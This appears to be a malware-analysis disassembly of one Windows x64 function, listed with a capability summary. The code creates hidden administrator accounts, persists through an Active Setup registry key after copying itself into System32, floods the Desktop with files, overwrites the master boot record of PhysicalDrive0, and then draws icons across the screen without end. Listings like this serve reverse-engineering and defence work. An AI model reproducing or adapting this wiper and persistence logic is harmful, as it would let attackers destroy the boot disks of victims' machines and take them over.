Function at 0x140001970
Capabilities:
Add user account
Add user account to group
Copy file
Delete registry key
Get common file path
Get session user name
Persist via active setup registry key
Set registry value
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xad8]
sub rsp, 0xbb0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x14000c010]
xor rax, rsp
mov qword [rbp + 0xa80], rax
xor r15d, r15d
mov dword [rbp - 0x20], r15d
lea r9d, [r15 + 0x34]
lea r8, [0x140008390]
lea rdx, str._g_vz
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x140002a36
lea rdx, [0x140007708]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
mov dword [rbp + 0x28], 0x101
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x660]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], 7
mov word [rbp + 0x30], r15w
lea rax, [rbp + 0x660]
mov r13, 0xffffffffffffffff
mov r8, r13
inc r8
cmp word [rax + r8*2], r15w
jne 0x140001a26
lea rdx, [rbp + 0x660]
lea rcx, [rbp + 0x30]
call fcn.140004a10
nop
mov edx, 0x104
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], 7
mov word [rbp + 8], r15w
lea rax, [rbp + 0x130]
mov r8, r13
inc r8
cmp word [rax + r8*2], 0
jne 0x140001a72
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 8]
call fcn.140004a10
nop
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r15w
mov r8d, 2
cmp qword [rbp + 0x18], r8
cmovb r8, qword [rbp + 0x18]
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rdx, qword [rbp + 8]
lea rcx, [rbp - 0x50]
call fcn.140004a10
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x140001b0e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b08
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bdc
nop
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
mov rax, rdx
sub rax, rcx
cmp rax, 7
jb 0x140001b58
lea rdi, [rcx + 7]
mov qword [rbp - 0x40], rdi
lea rbx, [rbp - 0x50]
cmp rdx, 8
cmovae rbx, qword [rbp - 0x50]
lea rcx, [rbx + rcx*2]
mov r8d, 0xe
lea rdx, str._Users_
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2], r15w
lea rax, [rbp - 0x50]
jmp 0x140001b76
mov qword [rsp + 0x20], 7
lea r9, str._Users_
mov edx, 7
lea rcx, [rbp - 0x50]
call fcn.1400052e0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
lea r9, [rbp + 0x30]
cmp qword [rbp + 0x48], 8
cmovae r9, qword [rbp + 0x30]
mov rcx, qword [rbp - 0x60]
mov r8, qword [rbp - 0x58]
mov rax, r8
sub rax, rcx
mov rdx, qword [rbp + 0x40]
cmp rdx, rax
ja 0x140001bf6
lea rdi, [rcx + rdx]
mov qword [rbp - 0x60], rdi
lea rbx, [rbp - 0x70]
cmp r8, 8
cmovae rbx, qword [rbp - 0x70]
lea rcx, [rbx + rcx*2]
lea r8, [rdx + rdx]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2], r15w
lea rax, [rbp - 0x70]
jmp 0x140001c04
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x70]
call fcn.1400052e0
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x140001c7e
lea rdi, [rcx + 9]
mov qword [rbp - 0x80], rdi
lea rbx, [rsp + 0x70]
cmp rdx, 8
cmovae rbx, qword [rsp + 0x70]
lea rcx, [rbx + rcx*2]
mov r8d, 0x12
lea rdx, str._Desktop_
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2], r15w
lea rax, [rsp + 0x70]
jmp 0x140001c9d
mov qword [rsp + 0x20], 9
lea r9, str._Desktop_
mov edx, 9
lea rcx, [rsp + 0x70]
call fcn.1400052e0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov r12d, 0x1f
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x140001d06
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d01
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bdc
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r15w
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x140001d5b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d56
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bdc
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r15w
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140001daf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001daa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001daa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bdc
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r15w
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov dword [rbp - 0x28], r15d
nop word [rax + rax]
mov qword [rbp + 8], r15
mov rbx, r15
mov qword [rbp + 0x18], rbx
mov edi, 7
mov qword [rbp + 0x20], rdi
mov word [rbp + 8], r15w
or r12d, 0x20
mov dword [rbp - 0x20], r12d
lea esi, [rdi - 1]
lea r14d, [rdi + 0x50]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x38e38e39
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*8]
shl ecx, 2
sub r8d, ecx
mov ecx, 0x30
cmp r8d, 0xa
cmovge cx, r14w
add cx, r8w
cmp rbx, rdi
jae 0x140001e64
lea rax, [rbx + 1]
mov qword [rbp + 0x18], rax
lea rax, [rbp + 8]
cmp rdi, 8
cmovae rax, qword [rbp + 8]
mov word [rax + rbx*2], cx
mov word [rax + rbx*2 + 2], r15w
jmp 0x140001e71
movzx r9d, cx
lea rcx, [rbp + 8]
call fcn.140004fe0
sub rsi, 1
je 0x140001e81
mov rdi, qword [rbp + 0x20]
mov rbx, qword [rbp + 0x18]
jmp 0x140001e08
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r15w
or r12d, 0x40
mov dword [rbp - 0x20], r12d
mov ebx, 0xa
mov r14d, dword [rbp - 0x28]
mov esi, 0x4e00
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x322a92a1
imul r8d
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x51a6
sub r8d, ecx
add r8w, si
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
cmp rcx, rdx
jae 0x140001f0c
lea rax, [rcx + 1]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
cmp rdx, 8
cmovae rax, qword [rsp + 0x50]
mov word [rax + rcx*2], r8w
mov word [rax + rcx*2 + 2], r15w
jmp 0x140001f1a
movzx r9d, r8w
lea rcx, [rsp + 0x50]
call fcn.140004fe0
sub rbx, 1
jne 0x140001eb0
lea rdi, [rbp + 0x50]
cmp qword [rbp + 0x68], 8
cmovae rdi, qword [rbp + 0x50]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
mov r15, qword [rbp + 0x60]
cmp r15, rax
ja 0x140001fdc
lea rax, [r15 + rcx]
mov qword [rsp + 0x60], rax
lea r14, [rsp + 0x50]
cmp rdx, 8
cmovae r14, qword [rsp + 0x50]
lea r8, [rcx + rcx]
lea rax, [rdi + r15*2]
cmp rax, r14
jbe 0x140001f8d
lea rax, [r14 + r8]
cmp rdi, rax
ja 0x140001f8d
cmp r14, rdi
ja 0x140001f82
xor esi, esi
jmp 0x140001f90
mov rsi, r14
sub rsi, rdi
sar rsi, 1
jmp 0x140001f90
mov rsi, r15
lea rcx, [r14 + r15*2]
add r8, 2
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
lea rbx, [rsi + rsi]
mov r8, rbx
mov rdx, rdi
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r14 + rbx]
mov r8, r15
sub r8, rsi
add r8, r8
lea rax, [rsi + r15]
lea rdx, [rdi + rax*2]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x50]
mov r14d, dword [rbp - 0x28]
mov esi, 0x4e00
jmp 0x140001ff3
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
mov rdx, r15
lea rcx, [rsp + 0x50]
call fcn.140005960
xor r15d, r15d
mov qword [rbp - 0x18], r15
mov qword [rbp - 8], r15
mov qword [rbp], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
bts r12d, 7
mov dword [rbp - 0x20], r12d
mov rdx, qword [rbp - 8]
mov r8, qword [rbp]
mov rax, r8
sub rax, rdx
cmp rax, 1
jb 0x140002069
lea rcx, [rdx + 1]
mov qword [rbp - 8], rcx
lea rax, [rbp - 0x18]
cmp r8, 8
cmovae rax, qword [rbp - 0x18]
mov r8d, 0x2e
mov word [rax + rdx*2], r8w
mov word [rax + rcx*2], r15w
lea rax, [rbp - 0x18]
jmp 0x140002087
mov qword [rsp + 0x20], 1
lea r9, [0x1400083e8]
mov edx, 1
lea rcx, [rbp - 0x18]
call fcn.1400052e0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
bts r12d, 8
mov dword [rbp - 0x20], r12d
lea r9, [rbp + 8]
lea r8, [rbp + 0x90]
lea rcx, [rbp + 0x70]
call fcn.140005500
bts r12d, 9
mov rdx, qword [rbp + 0xa8]
cmp rdx, 8
jb 0x140002115
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000210f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a0c
call fcn.140005bdc
nop
mov rdx, qword [rbp]
cmp rdx, 8
jb 0x140002155
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002150
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a13
call fcn.140005bdc
mov qword [rbp - 8], r15
mov qword [rbp], 7
mov word [rbp - 0x18], r15w
and r12d, 0xffffffbf
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x1400021ac
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a1a
call fcn.140005bdc
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r15w
and r12d, 0xffffffdf
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x140002204
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a21
call fcn.140005bdc
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x130]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 8
cmovae rdx, qword [rbp + 0x70]
lea rcx, [rbp + 0x130]
call fcn.1400046e0
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
cmp qword [rbp + 0x1b8], 0
je 0x1400023a8
mov qword [rbp - 0x18], r15
mov qword [rbp - 8], r15
mov qword [rbp], 7
mov word [rbp - 0x18], r15w
bts r12d, 0xa
mov dword [rbp - 0x20], r12d
mov ebx, 0x14
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x322a92a1
imul r8d
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x51a6
sub r8d, ecx
add r8w, si
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp]
cmp rcx, rdx
jae 0x1400022ef
lea rax, [rcx + 1]
mov qword [rbp - 8], rax
lea rax, [rbp - 0x18]
cmp rdx, 8
cmovae rax, qword [rbp - 0x18]
mov word [rax + rcx*2], r8w
mov word [rax + rcx*2 + 2], r15w
jmp 0x1400022fc
movzx r9d, r8w
lea rcx, [rbp - 0x18]
call fcn.140004fe0
sub rbx, 1
jne 0x140002298
lea rdx, [rbp - 0x18]
cmp qword [rbp], 8
cmovae rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
lea rcx, [rbp + 0x130]
call fcn.140005780
mov rcx, rax
lea rdx, [0x140004da0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x138]
call fcn.140004620
test rax, rax
jne 0x140002362
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x130]
add rcx, rax
xor r8d, r8d
lea edx, [rbx + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
btr r12d, 0xa
mov rdx, qword [rbp]
cmp rdx, 8
jb 0x1400023a8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a28
call fcn.140005bdc
nop
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rax, vtable.std::basic_filebuf_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + 0x138], rax
cmp qword [rbp + 0x1b8], 0
je 0x140002428
mov rax, qword [rbp + 0x150]
lea rcx, [rbp + 0x1a8]
cmp qword [rax], rcx
jne 0x140002428
mov rdx, qword [rbp + 0x1c8]
mov rcx, qword [rbp + 0x1c0]
mov qword [rax], rcx
mov rax, qword [rbp + 0x170]
mov qword [rax], rcx
sub rdx, rcx
sar rdx, 1
mov rax, qword [rbp + 0x188]
mov dword [rax], edx
cmp byte [rbp + 0x1b4], 0
je 0x14000243d
lea rcx, [rbp + 0x138]
call fcn.140004620
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 8
jb 0x1400024a9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a2f
call fcn.140005bdc
inc r14d
mov dword [rbp - 0x28], r14d
cmp r14d, 0xc8
jl 0x140001de0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 5
lea rcx, [rbp + 0x100]
call fcn.1400013c0
lea rcx, [rbp + 0x118]
call fcn.1400013c0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x90], rax
lea rax, [rbp + 0x118]
mov qword [rbp + 0x98], rax
mov dword [rbp + 0xa4], 1
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xa8], xmm0
mov dword [rbp + 0xb8], 1
mov qword [rbp + 0xc0], r15
xor r9d, r9d
lea r8, [rbp + 0x90]
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
test eax, eax
jne 0x14000255a
lea rdx, [rbp + 0x100]
lea rcx, [0x1400079a0]
call fcn.140001020
mov rax, qword [rbp + 0x90]
mov qword [rbp - 0x28], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp - 0x28]
mov r8d, 3
lea rdx, str.Administrators
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
test eax, eax
jne 0x14000259d
lea rdx, [rbp + 0x100]
lea rcx, [0x1400079e0]
call fcn.140001020
sub rbx, 1
jne 0x1400024d3
lea rdx, str.SoftwareMicrosoftActive_SetupInstalled_Components84B421CD_B018_2513_B0B1_5C76DEF70F20
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftActive_SetupInstalled_Components84B421CD_B018_2513_B0B1_5C76DEF70F20
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400026d8
mov edx, 0x118
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r8, str.main.exe
mov edx, 0x104
lea rcx, [rbp + 0x340]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
mov r8d, 0x104
lea rdx, [rbp + 0x130]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r8d, r8d
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov qword [rsp + 0x40], r15
lea rax, [rbp - 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftActive_SetupInstalled_Components84B421CD_B018_2513_B0B1_5C76DEF70F20
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400026d8
lea rax, [rbp + 0x340]
nop word [rax + rax]
lea r13, [r13 + 1]
cmp word [rax + r13*2], 0
jne 0x140002690
lea eax, [r13*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x340]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.StubPath
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
mov dword [rbp + 0xf0], eax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r9d, eax
mov eax, 0x51e9e1b9
imul r9d
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x19008
sub r9d, eax
lea r8, [0x140007904]
mov edx, 0x64
lea rcx, [rbp + 0x90]
call fcn.1400010e0
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x130]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x340]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x870]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rax, [rbp + 0x90]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x870]
lea r8, str._s_S.exe
mov edx, 0x104
lea rcx, [rbp + 0x130]
call fcn.140001080
xor r8d, r8d
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
call fcn.1400014e0
movups xmm6, xmmword [0x140008350]
movups xmm7, xmmword [0x140008360]
movzx eax, word [0x140008370]
mov word [rbp + 0xb0], ax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
lea rcx, str..PHYSICALDRIVE0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400028eb
mov qword [rsp + 0x38], r15
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
mov edx, 0x90018
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor edx, edx
mov r8d, 0x1dd
lea rcx, [rbp + 0x151]
call sub.VCRUNTIME140.dll_memset
movaps xmmword [rbp + 0x130], xmm6
movaps xmmword [rbp + 0x140], xmm7
movzx eax, byte [rbp + 0xb0]
mov byte [rbp + 0x150], al
mov word [rbp + 0x32e], 0xaa55
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x20]
mov r8d, 0x200
lea rdx, [rbp + 0x130]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x38], r15
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9001c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
nop dword [rax]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov qword [rbp - 0x30], rax
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowDC]
mov r13, rax
lea rcx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov rbx, qword [rbp - 0x28]
mov qword [rbp - 0x20], rbx
mov esi, r15d
mov r14, r15
lea rcx, str.imageres.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x50], rax
lea rcx, str.shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x58], rax
mov r12, r15
mov r15, qword [rsp + r12*8 + 0x50]
test r15, r15
je 0x14000299e
mov edi, 1
movzx edx, di
mov rcx, r15
call qword [sym.imp.USER32.dll_LoadIconW]
test rax, rax
je 0x140002997
mov qword [rbp + r14*8 + 0x340], rax
inc esi
inc r14
cmp esi, 0x64
jae 0x14000299e
inc edi
cmp edi, 0x64
jle 0x140002974
inc r12
cmp r12, 2
jb 0x140002965
test esi, esi
jne 0x1400029c4
mov edx, 0x7f01
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x340], rax
mov esi, 1
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv esi
movsxd rax, edx
mov r9, qword [rbp + rax*8 + 0x340]
test r9, r9
je 0x1400029ec
mov r8d, dword [rbp - 0x1c]
mov edx, ebx
mov rcx, r13
call qword [sym.imp.USER32.dll_DrawIcon]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, r13
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.USER32.dll_ReleaseDC]
xor r15d, r15d
jmp 0x140002910
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor eax, eax
mov rcx, qword [rbp + 0xa80]
xor rcx, rsp
call fcn.140005b80
lea r11, [rsp + 0xbb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret